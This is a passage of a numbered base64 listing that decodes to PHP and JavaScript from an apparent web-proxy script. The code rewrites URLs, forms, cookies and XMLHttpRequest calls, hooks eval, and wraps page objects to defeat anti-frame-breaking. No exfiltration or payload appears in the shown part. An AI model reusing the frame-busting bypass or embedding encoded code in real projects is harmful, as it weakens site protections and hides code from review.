  1019. cmV0dXJuOwoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxs
  1020. X2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsKCXJldHVybiA8
  1021. P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRz
  1022. KTsKfQoKLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3
  1023. b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0Ci8qZXZhbF88P3BocCBlY2hvKENPT0tf
  1024. UFJFRik7ID8+PWV2YWw7CmV2YWw9ZnVuY3Rpb24oKXsKCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkg
  1025. cmV0dXJuOwoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxs
  1026. X2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsKCXJldHVybiBl
  1027. dmFsXzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uYXBwbHkodGhpcy5jYWxsZXIsYXJndW1lbnRz
  1028. KTsKfSovCgovLyB3cmFwIHRvcCBhbmQgcGFyZW50IG9iamVjdHMgZm9yIGFudGktZnJhbWUgYnJl
  1029. YWtpbmcKaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7CglpZihwYXJl
  1030. bnQ9PXRvcCkgcGFyZW50PXNlbGY7CglpZih0b3AhPXNlbGYpIHRvcD08P3BocCBlY2hvKENPT0tf
  1031. UFJFRik7ID8+LnRoZXRvcC5mcmFtZXNbMF07Cn0KCi8vIH19fQoKLy88L3NjcmlwdD48P3BocCBl
  1032. eGl0KCk7IH0KCiMgfX19CgojIFJFR0VYUFMge3t7CgojIFRoaXMgaXMgd2hlcmUgYWxsIHRoZSBw
  1033. YXJzaW5nIGlzIGRlZmluZWQuICBJZiBhIHNpdGUgaXNuJ3QgYmVpbmcKIyBwYXJzZWQgcHJvcGVy
  1034. bHksIHRoZSBwcm9ibGVtIGlzIG1vcmUgdGhhbiBsaWtlbHkgaW4gdGhpcyBzZWN0aW9uLgojIFRo
  1035. ZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVs
  1036. IGJ1bmNoCiMgb2YgaW5jb21wcmVoZW5zaWJsZSByZWd1bGFyIGV4cHJlc3Npb25zLgoKCiMgUkVH
  1037. RVhQUzogQ09OVkVSU0lPTiBUTyBKQVZBU0NSSVBUIHt7ewoKZnVuY3Rpb24gYm9vbF90b19qcygk
  1038. Ym9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9CmZ1bmN0aW9uIGNvbnZlcnRh
  1039. cnJheV90b19qYXZhc2NyaXB0KCl7CglnbG9iYWwgJHJlZ2V4cF9hcnJheXM7CgkkanM9J3JlZ2V4
  1040. cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsKCXJlc2V0
  1041. KCRyZWdleHBfYXJyYXlzKTsKCXdoaWxlKGxpc3QoJGtleSwkYXJyKT1lYWNoKCRyZWdleHBfYXJy
  1042. YXlzKSl7CgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQo
  1043. JGFycikuIik7XG4iOwoJCWZvcigkaT0wOyRpPGNvdW50KCRhcnIpOyRpKyspewoJCQkkanMuPSJy
  1044. ZWdleHBfYXJyYXlzW1wiJGtleVwiXVskaV09bmV3IEFycmF5KCI7CgkJCWlmKCRhcnJbJGldWzBd
  1045. PT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3Jl
  1046. Z2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7CgkJCWVsc2VpZigkYXJyWyRpXVswXT09MikgJGpz
  1047. Lj0nMiwnLmVzY2FwZV9yZWdleHAoJGFyclskaV1bMl0pLiJnLHskYXJyWyRpXVszXX0iLihjb3Vu
  1048. dCgkYXJyWyRpXSk8NT9udWxsOicsJy5ib29sX3RvX2pzKCRhcnJbJGldWzRdKSkuKGNvdW50KCRh
  1049. cnJbJGldKTw2P251bGw6Iix7JGFyclskaV1bNV19Iik7CgkJCSRqcy49Iik7XG4iOwoJCX0KCX0K
  1050. CXJldHVybiBzdHJpcHNsYXNoZXMoJGpzKTsKfQoKIyB9fX0KCiMgUkVHRVhQUzogVkFSSUFCTEVT
  1051. IHt7ewoKZ2xvYmFsICRyZWdleHBfYXJyYXlzOwoKIyAnaW1nJyB3YXMgaW4gJGpzYXR0cnMuLi4g
  1052. d2hhdCdzIHRoYXQgZm9yPwokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJh
  1053. Y2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhU
  1054. TUwpJzsKJGpzaG9va2F0dHJzPSIoPzp7JGpzYXR0cnN9fGNvb2tpZXxzZWFyY2h8aG9zdG5hbWUp
  1055. IjsKJGpzaG9va2dldGF0dHJzPSIoPzp7JGpzaG9va2F0dHJzfXx1c2VyQWdlbnR8cGxhdGZvcm18
  1056. YXBwQ29kZU5hbWV8YXBwTmFtZXxhcHBWZXJzaW9ufGxhbmd1YWdlfG9zY3B1fHByb2R1Y3R8cHJv
  1057. ZHVjdFN1YnxwbHVnaW5zKSI7Ci8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7CiRqc21ldGhv
  1058. ZHM9Jyhsb2NhdGlvblwuKD86cmVwbGFjZXxhc3NpZ24pKSc7CiRqc2xvY2hvc3Q9Jyhsb2NhdGlv
  1059. blwuaG9zdCg/Om5hbWUpezAsMX0pJzsKLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNo
  1060. KSc7Ci8vJGpzcmVhbHBhZ2U9JygoPzooPzpkb2N1bWVudHx3aW5kb3cpXC4pezAsMX1sb2NhdGlv
  1061. big/Oig/PVteXC5dKXxcLmhyZWYpfGRvY3VtZW50XC5kb2N1bWVudFVSSXxbYS16XStcLnJlZmVy
  1062. cmVyKSc7CiRodG1sYXR0cnM9JyhkYXRhfGhyZWZ8c3JjfGJhY2tncm91bmR8cGx1Z2luc3BhZ2V8
  1063. Y29kZWJhc2V8YWN0aW9uKSc7CgokanVzdHNwYWNlPSJbXHQgXSoiOwokcGx1c2p1c3RzcGFjZT0i
  1064. W1x0IF0rIjsKJGFueXNwYWNlPSJbXHRcclxuIF0qIjsKJHBsdXNzcGFjZT0iW1x0XHJcbiBdKyI7
  1065. CiRvcGVyYW5kcz0nW1wrXC1cL1wqXSc7CiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOwoKJHF1
  1066. b3Rlc2VnPScoPzoiKD86W14iXXxbXFxcXF0iKSo/InxcJyg/OlteXCddfFtcXFxcXVwnKSo/XCcn
  1067. OwokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOwoKLy8kanNvYmpzZWN0PSJ7JGpz
  1068. dmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8iOwovLyRqc29i
  1069. anNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFy
  1070. c2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0
  1071. fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxd
  1072. KT8iOwovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86W15cKFwpXCInXSooPzp7JHF1
  1073. b3Rlc2VnfXwoP1IpKSkpXCkpPyg/OlxbKD86W15cW1xdXCInXSooPzp7JHF1b3Rlc2VnfXwoP1Ip
  1074. KSkpXF0pPyI7Ci8vJGpzdmFyb2JqPScoPzpbYS16QS1aMC05XC5fXChcKVxbXF1cK1wtXSspJzsK
  1075. JGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlth
  1076. LXpBLVowLTlfXC9cXV0pPyc7CiRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90
  1077. ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyg/OlxbKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9
  1078. fCkpXF0pPyI7CiRqc3Zhcm9iaj0ieyRqc29ianNlY3R9KD86XC57JGpzb2Jqc2VjdH0pKiI7Ci8v
  1079. JGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXsk
  1080. YW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNw
  1081. YWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/CiRqc3F1b3Rlc2VjdD0iKD86eyRhbnlzcGFjZX17
  1082. JHF1b3Rlc2VnfXx7JGpzdmFyb2JqfSkpIjsKJGpzcXVvdGVyZWc9InskanNxdW90ZXNlY3R9KD86
  1083. XCt7JGpzcXVvdGVzZWN0fSkqIjsKCi8vJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xd
  1084. XCstXSc7Ci8vJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXC9dJzsKJG5vdGpzdmFy
  1085. c2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7CgovLyRqc2VuZD0iKD89eyRhbnlzcGFjZX1bO1x9
  1086. XG5cclwnXCJdKSI7Ci8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFu
  1087. ZHN9W1xuXHJdKSkiOwokanNlbmQ9Iig/PXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9w
  1088. ZXJhbmRzfVtcblxyXSkpIjsKJG5vdGpzZW5kPSIoPyF7JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18
  1089. eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7CiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtc
  1090. IT1dPSl7JGFueXNwYWNlfSkiOwovLyRqc2JlZ2lucmlnaHQ9IigoPzpbO1x7XH1cblxyXChcKT1c
  1091. K1wtXC9cKl0peyRhbnlzcGFjZX0pIjsKJGpzYmVnaW5yaWdodD0iKCg/Ols7XHtcfVwoXCk9XCtc
  1092. LVwvXCpdKXskanVzdHNwYWNlfSkiOwoKJGh0bWxub3F1b3Q9Jyg/OlteIlwnXFxcXF1bXj4gXSop
  1093. JzsKJGh0bWxub3F1b3Rub3FtPScoPzpbXlw/IlwnXFxcXF1bXlw/PiBdKiknOwokaHRtbHJlZz0i
  1094. KHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7CiR4bWxodHRwcmVxPSIoPzpYTUxIdHRwUmVx
  1095. dWVzdHskYW55c3BhY2V9KD86XCh7JGFueXNwYWNlfVwpfCl8QWN0aXZlWE9iamVjdHskYW55c3Bh
  1096. Y2V9XCh7JGFueXNwYWNlfVteXCldK1wuWE1MSFRUUFsnXCJdeyRhbnlzcGFjZX1cKSkoPz07KSI7
  1097. CiRqc25ld29iaj0iKD86eyRhbnlzcGFjZX1uZXd7JHBsdXNzcGFjZX18eyRhbnlzcGFjZX0pIjsK
  1098. JGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIp
  1099. P3Bvc3QpW14+XSkiOwokZnJhbWV0YXJnZXRzPSdfKD86dG9wfHBhcmVudHxzZWxmKSc7CgokanNf
  1100. c3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVB
  1101. dHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0
  1102. YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxz
  1103. cGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJD
  1104. YXNlfHRvU291cmNlfHZhbHVlT2YpJzsKJGpzX3N0cmluZ19hdHRycz0nKD86Y29uc3RydWN0b3J8
  1105. bGVuZ3RofHByb3RvdHlwZSknOwoKIyB9fX0KCiMgUkVHRVhQUzogSkFWQVNDUklQVCBQQVJTSU5H
  1106. IHt7ewoKJGpzX3JlZ2V4cF9hcnJheXM9YXJyYXkoCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHsk
  1107. anN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KXskYW55c3BhY2V9XCs9L2kiLCdcMVwyLlwz
  1108. PScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKSsnKSwKCWFycmF5KDEsMiwiL3skanNiZWdp
  1109. bn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3Bh
  1110. Y2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2Vu
  1111. ZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyks
  1112. CglhcnJheSgxLDIsIi97JGpzYmVnaW5yaWdodH0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRh
  1113. dHRyc30pKFteXC49YS16MC05X1xbXF1cdFxyXG5dfFwueyRqc19zdHJpbmdfbWV0aG9kc31cKHxc
  1114. LnskanNfc3RyaW5nX2F0dHJzfXskbm90anN2YXJzZWN0fSkvaSIsJ1wxJy5DT09LX1BSRUYuJy5n
  1115. ZXRBdHRyKFwyLC9cMy8pXDQnKSwKCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9
  1116. eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJs
  1117. KFwzKSknKSwKCWFycmF5KDEsMiwiLyhbXmEtejAtOV0pZXZhbHskYW55c3BhY2V9XCgoeyRhbnlz
  1118. cGFjZX17JGpzdmFyb2JqfSlcKS9pIiwnXDFldmFsKCcuQ09PS19QUkVGLicucGFyc2VfYWxsX2h0
  1119. bWwoXDIsImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpKScpLAoKCWFycmF5KDEsMiwiL3skanNi
  1120. ZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwK
  1121. CS8vYXJyYXkoMSwyLCIveyRqc2JlZ2lufShcLnNldEF0dHJpYnV0ZXskYW55c3BhY2V9XCh7JGFu
  1122. eXNwYWNlfShcInwnKSh7JGpzYXR0cnN9KShcXDIpeyRhbnlzcGFjZX0seyRhbnlzcGFjZX0pKC4q
  1123. Pyl7JGpzZW5kfS9pIiwnXDFcMicuQ09PS19QUkVGLicuc3Vycm9nYWZ5X3VybChcNiknKSwKCS8v
  1124. YXJyYXkoMSwyLCIveyRqc2JlZ2lufShcLnNldEF0dHJpYnV0ZXskYW55c3BhY2V9XCh7JGFueXNw
  1125. YWNlfShcInwnKSh7JGpzYXR0cnN9KShcXDIpeyRhbnlzcGFjZX0seyRhbnlzcGFjZX0pKC4qPyl7
  1126. JGpzZW5kfS9pIiwnXDFcMicuQ09PS19QUkVGLicuc3Vycm9nYWZ5X3VybChcNiknKSwKCWFycmF5
  1127. KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwo
  1128. eyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVv
  1129. dGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0
  1130. KScpLAoJYXJyYXkoMSwyLCIveyRqc2JlZ2lufShbXlwgez5cdFxyXG49O10reyRhbnlzcGFjZX09
  1131. KSh7JGpzbmV3b2JqfXskeG1saHR0cHJlcX0pL2kiLCdcMVwyJy5DT09LX1BSRUYuJy5YTUxIdHRw
  1132. UmVxdWVzdF93cmFwKFwzKScpLAoJYXJyYXkoMSwyLCIveyRqc2JlZ2lufShyZXR1cm57JHBsdXNz
  1133. cGFjZX0pKHskanNuZXdvYmp9eyR4bWxodHRwcmVxfSkvaSIsJ1wxXDInLkNPT0tfUFJFRi4nLlhN
  1134. TEh0dHBSZXF1ZXN0X3dyYXAoXDMpJyksCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNi
  1135. ZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1c
  1136. KFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycp
  1137. Om51bGwpLAopOwoKIyB9fX0KCiMgUkVHRVhQUzogSFRNTC9DU1MgUEFSU0lORyB7e3sKCiRyZWdl
  1138. eHBfYXJyYXlzPWFycmF5KAoJJ3RleHQvaHRtbCcgPT4gYXJyYXkoCgkJIyMgZG8gSFRNTCBiYXNl
  1139. ZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZCgkJI2FycmF5KDEsMSwiLyggb25bYS16XXszLDIw
  1140. fXskYW55c3BhY2V9PXskYW55c3BhY2V9KSg/OihcIikoW15cIl0rKShcIil8KCcpKFteJ10rKSgn
  1141. KSkvaSIsJ1wxXDJcNTtcM1w2O1w0XDcnKSwgIyBPTERXQVkKCQkjYXJyYXkoMSwyLCIvKDxzY3Jp
  1142. cHQoPzooPzooPyEgc3JjeyRhbnlzcGFjZX09KVtePl0pKik+KShbXHNcU10qPykoPzp7JGFueXNw
  1143. YWNlfSg/OlwvXC8pP3skYW55c3BhY2V9LS0+eyRhbnlzcGFjZX0pPzxcL3NjcmlwdD4vaSIsJ1wx
  1144. XDI7Jy5DT09LX1BSRUYuJy5wdXJnZSgpOy8vLS0+PC9zY3JpcHQ+JyksICMgT0xEV0FZCgoJCSMg
  1145. dGFyZ2V0IGF0dHIKCQkoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GUkFNRURfUEFHRT9hcnJheSgx
  1146. LDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSkgdGFyZ2V0eyRhbnlzcGFjZX09eyRhbnlzcGFj
  1147. ZX0oPzp7JGZyYW1ldGFyZ2V0c318KCcpeyRmcmFtZXRhcmdldHN9J3woXCIpeyRmcmFtZXRhcmdl
  1148. dHN9XCIpL2kiLCdcMScpOm51bGwpLAoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9D
  1149. SElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNl
  1150. fT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNP
  1151. T0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwKCgkJIyBkZWFsIHdpdGggPGZvcm0+cwoJCWFycmF5
  1152. KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlz
  1153. cGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48
  1154. aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1c
  1155. MiAvPicpLAoJCWFycmF5KDIsMSwiLzxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cIlwiIGNs
  1156. YXNzPVwiIi5DT09LX1BSRUYuIlwiIHZhbHVleyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxy
  1157. ZWd9IFwvPi9pIiwxLGZhbHNlKSwKCQlhcnJheSgxLDEsJy8oPGZvcm1bXj5dKj8pPi9pJywnXDEg
  1158. dGFyZ2V0PSJfc2VsZiInLihFTkNSWVBUX1VSTFM/JyBvbnN1Ym1pdD0icmV0dXJuICcuQ09PS19Q
  1159. UkVGLicuZm9ybV9lbmNyeXB0KHRoaXMpOyI+JzonPicpKSwKCQlhcnJheSgxLDEsIi8oPGZvcm17
  1160. JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJf
  1161. cGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIg
  1162. dmFsdWU9Il8iPicpLAoKCQkjIGRlYWwgd2l0aCB0aGUgZm9ybSBidXR0b24gZm9yIGVuY3J5cHRl
  1163. ZCBVUkxzCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFu
  1164. eXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1te
  1165. XC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9i
  1166. dXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLAoKCQkjIHBhcnNlIGFsbCB0aGUgb3RoZXIgdGFn
  1167. cwoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlz
  1168. cGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLAoJCWFycmF5KDIsMSwiLzxwYXJhbVte
  1169. Pl0qeyRwbHVzc3BhY2V9bmFtZXskYW55c3BhY2V9PXskYW55c3BhY2V9W1wiJ10/bW92aWVbXj5d
  1170. KnskcGx1c3NwYWNlfXZhbHVleyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEp
  1171. LAoJCWFycmF5KDIsMiwiLzxzY3JpcHRbXj5dKj97JHBsdXNzcGFjZX1zcmN7JGFueXNwYWNlfT17
  1172. JGFueXNwYWNlfShbXCInXSl7JGFueXNwYWNlfSguKj9bXlxcXFxdKVxcMVtePl0qPnskYW55c3Bh
  1173. Y2V9PFwvc2NyaXB0Pi9pIiwyKSwKCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwx
  1174. LCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9
  1175. eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLAoJCShV
  1176. UkxfRk9STSAmJiBQQUdFX0ZSQU1FRD9hcnJheSgyLDEsIi88W2ldP2ZyYW1leyRwbHVzc3BhY2V9
  1177. W14+XSpzcmN7JGFueXNwYWNlfT17JGFueXNwYWNlfXskaHRtbHJlZ30vaSIsMSxmYWxzZSxQQUdF
  1178. VFlQRV9GUkFNRURfQ0hJTEQpOm51bGwpCgkpLAoKCSd0ZXh0L2NzcycgPT4gYXJyYXkoCgkJYXJy
  1179. YXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8
  1180. JykoLio/W15cXFxcXSkoXFwxKXskYW55c3BhY2V9XCkvaSIsMiksCgkJYXJyYXkoMiwxLCIvW15h
  1181. LXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4q
  1182. P1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwKCQlhcnJheSgyLDEsIi9AaW1wb3J0eyRwbHVz
  1183. c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpOy9pIiwy
  1184. KQoJKSwKCgknYXBwbGljYXRpb24veC1qYXZhc2NyaXB0JyA9PiAkanNfcmVnZXhwX2FycmF5cywK
  1185. CSd0ZXh0L2phdmFzY3JpcHQnID0+ICRqc19yZWdleHBfYXJyYXlzCik7CgojIH19fQoKIyBSRUdF
  1186. WFBTOiBJTlNFUlQgSkFWQVNDUklQVCBSRUdFWFBTIHt7ewoKaWYoUVVFUllfU1RSSU5HPT0nanNf
  1187. cmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3Jp
  1188. cHQ+Cjw/cGhwIGVjaG8oY29udmVydGFycmF5X3RvX2phdmFzY3JpcHQoKS4oKCFlbXB0eSgkX0NP
  1189. T0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfb2JqZWN0cyddKSk/J3JlZ2V4cF9hcnJheXNbInRleHQv
  1190. aHRtbCJdLnB1c2goQXJyYXkoMSwvPFtcXFxcL10/KGVtYmVkfHBhcmFtfG9iamVjdClbXj5dKj4v
  1191. aWcsIiIpKTsnOm51bGwpKTsgPz4KLy88L3NjcmlwdD48P3BocCBleGl0KCk7IH0KCiMgfX19Cgoj
  1192. IFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sKCmFycmF5X3B1c2goJHJlZ2V4
  1193. cF9hcnJheXNbJ3RleHQvaHRtbCddLAoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNl
  1194. fWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0q
  1195. IGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1
  1196. cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksCglh
  1197. cnJheSgxLDEsIi8oPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17
  1198. JGFueXNwYWNlfShbXCInXXwpc2V0LWNvb2tpZVxcMltePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17
  1199. JGFueXNwYWNlfSkoW1wiJ10pKC4qP1teXFxcXF0peyRhbnlzcGFjZX1cXDMvaSIsJ1wxXDMnLlBB
  1200. R0VDT09LX1BSRUZJWC4nXDRcMycpCik7CgojIH19fQoKIyBSRUdFWFBTOiBDTEVBTlVQIHt7ewoK
  1201. IyBuZWVkZWQgbGF0ZXIsIGJ1dCAkYW55c3BhY2UgYW5kICRodG1scmVnIGFyZSB1bnNldCBiZWxv
  1202. dwpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlz
  1203. cGFjZX17JGh0bWxyZWd9W14+XSo+Iik7CmRlZmluZSgnRU5EX09GX1NDUklQVF9UQUcnLCIoPzp7
  1204. JGFueXNwYWNlfSg/OlwvXC8pP3skYW55c3BhY2V9LS0+eyRhbnlzcGFjZX0pPzxcL3NjcmlwdD4i
  1205. KTsKZGVmaW5lKCdSRUdFWFBfU0NSSVBUX09ORVZFTlQnLCIoIG9uW2Etel17MywyMH09KD86XCJb
  1206. XlwiXStcInwnW14nXSsnfFteXCInID5dW14gPl0rW15cIicgPl0pfCBocmVmPSg/OlwieyRhbnlz
  1207. cGFjZX1qYXZhc2NyaXB0OlteXCJdK1wifCd7JGFueXNwYWNlfWphdmFzY3JpcHQ6W14nXSsnfHsk
  1208. YW55c3BhY2V9amF2YXNjcmlwdDpbXlwiJyA+XVteID5dK1teXCInID5dKSkiKTsKCnVuc2V0KCRq
  1209. c2F0dHJzLCRqc2hvb2thdHRycywkanNtZXRob2RzLCRqc2xvY2hvc3QsJGh0bWxhdHRycywKICAg
  1210. ICAgJGFueXNwYWNlLCRwbHVzc3BhY2UsJG9wZXJhbmRzLCRub3RvcGVyYW5kcywKICAgICAgJHF1
  1211. b3Rlc2VnLCRyZWdzZWcsCiAgICAgICRqc3ZhcnNlY3QsJGpzb2Jqc2VjdCwkanN2YXJvYmosJGpz
  1212. cXVvdGVzZWN0LCRqc3F1b3RlcmVnLAogICAgICAkbm90anN2YXJzZWN0LAogICAgICAkanNlbmQs
